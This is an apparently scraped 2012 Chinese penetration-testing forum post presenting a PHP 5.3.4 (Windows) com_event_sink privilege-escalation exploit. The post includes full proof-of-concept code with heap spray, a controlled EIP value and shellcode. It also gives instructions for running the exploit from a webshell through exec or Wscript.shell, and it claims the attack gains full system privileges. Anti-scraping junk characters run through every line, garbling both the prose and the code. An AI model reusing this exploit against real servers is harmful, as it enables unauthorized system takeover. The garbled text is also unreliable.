中国网络渗透测试联盟

标题: PHP 5.3.4(WIN) COM_SINK权限提升漏洞 [打印本页]

作者: admin    时间: 2012-11-9 21:08
标题: PHP 5.3.4(WIN) COM_SINK权限提升漏洞
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中+ B  M* c5 _; o

  V2 t" Z# ?9 k3 t+ x! E6 ^2 _测试方法如下:cmd /c x:\php\php.exe x:\test.php
: |& p! g9 v( `
- s) G2 H" C. W: ?* @3 K9 U3 B下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php, G; p6 G$ h' h  C7 Q
这里是两个测试的截图:' s  K+ L/ o) B8 l$ |0 f
" @9 J- X4 z& y9 `3 G

" d/ F  |: {5 T5 w0 A
8 R* e3 Y: C  }( J' s* _+ o. k. k+ L. l8 T8 w

4 _8 v" A+ t! S( S% h成功利用此漏洞的攻击者将获得系统的最高权限
  W- U2 u  e+ d6 W9 K) W+ }# @+ ]- Y- l: n" o
/ c4 z5 k! L  L# T3 K

  x/ [, T1 {. U  d( u
$ A4 Y" R, L$ X9 @, W7 [- y* [$ _( }
关于漏洞分析稍后附上。一下是PoC代码:  q4 @) N7 n4 {( K& _

9 R" k5 K! i, U- q# l% ?<?php% ]) ?3 Q8 L; e, Y; U1 J
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
1 {- H* m4 s; @# K5 o/ R, h& }//$eip ="\x44\x43\x42\x41";/ k: c8 l' L8 |1 @- Y- e
$eip= "\x4b\xe8\x57\x78";% A+ y- w; H" I8 s/ r' c/ _
$eax ="\x80\x01\x8d\x04";1 J, c4 x* Q) J3 n
$deodrant="";& r, p. c* q/ ]' q* {; @9 X
$axespray = str_repeat($eip.$eax,0x80);
5 P+ X: E: K  g9 ]) c//048d0190
8 ^2 z/ c: i1 Vecho strlen($axespray);
/ ~, S2 f: N% P, p6 _' ?echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
# D* Q- K; f0 E# x" v4 X/ U9 x9 l5 Lecho "Silic Group Hacker Army - BlackBap.Org";
3 E) E# A1 q$ Z3 m$ U' @6 z5 C//19200 ==4B32 4b00
/ }9 V& c3 O+ ~/ g. tfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}3 r! @# Q4 M* [8 A
$terminate = "T";: h" b! T- [5 _$ e9 h3 t0 O5 P
$u[] =$deodrant;
, p$ x  w) Q6 o& F. _$r[] =$deodrant.$terminate;
- o; t0 c/ D% ^5 Y$a[] =$deodrant.$terminate;
# f5 s' \+ B7 ~( f# I, K$s[] =$deodrant.$terminate;
5 O( B: M5 S( x2 p5 `) O0 B//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
1 B- G. M- x( K. p, ?( f: w9 |# s% Q$vVar = new VARIANT(0x048d0000+180);5 N$ w+ x5 ^) b" X& i
//弹窗代码(Shellcode); }- @) h9 H# S( Q; D
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";0 \8 \5 f+ q* L. C1 Y0 x
$var2 = new VARIANT(0x41414242);
1 X0 ~/ B! y9 P1 e# lcom_event_sink($vVar,$var2,$buffer);
9 l9 b( s7 Q. L- Z?>" t) |! o0 h' S$ t5 F5 a0 o8 _
[attach]113[/attach][attach]114[/attach]




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2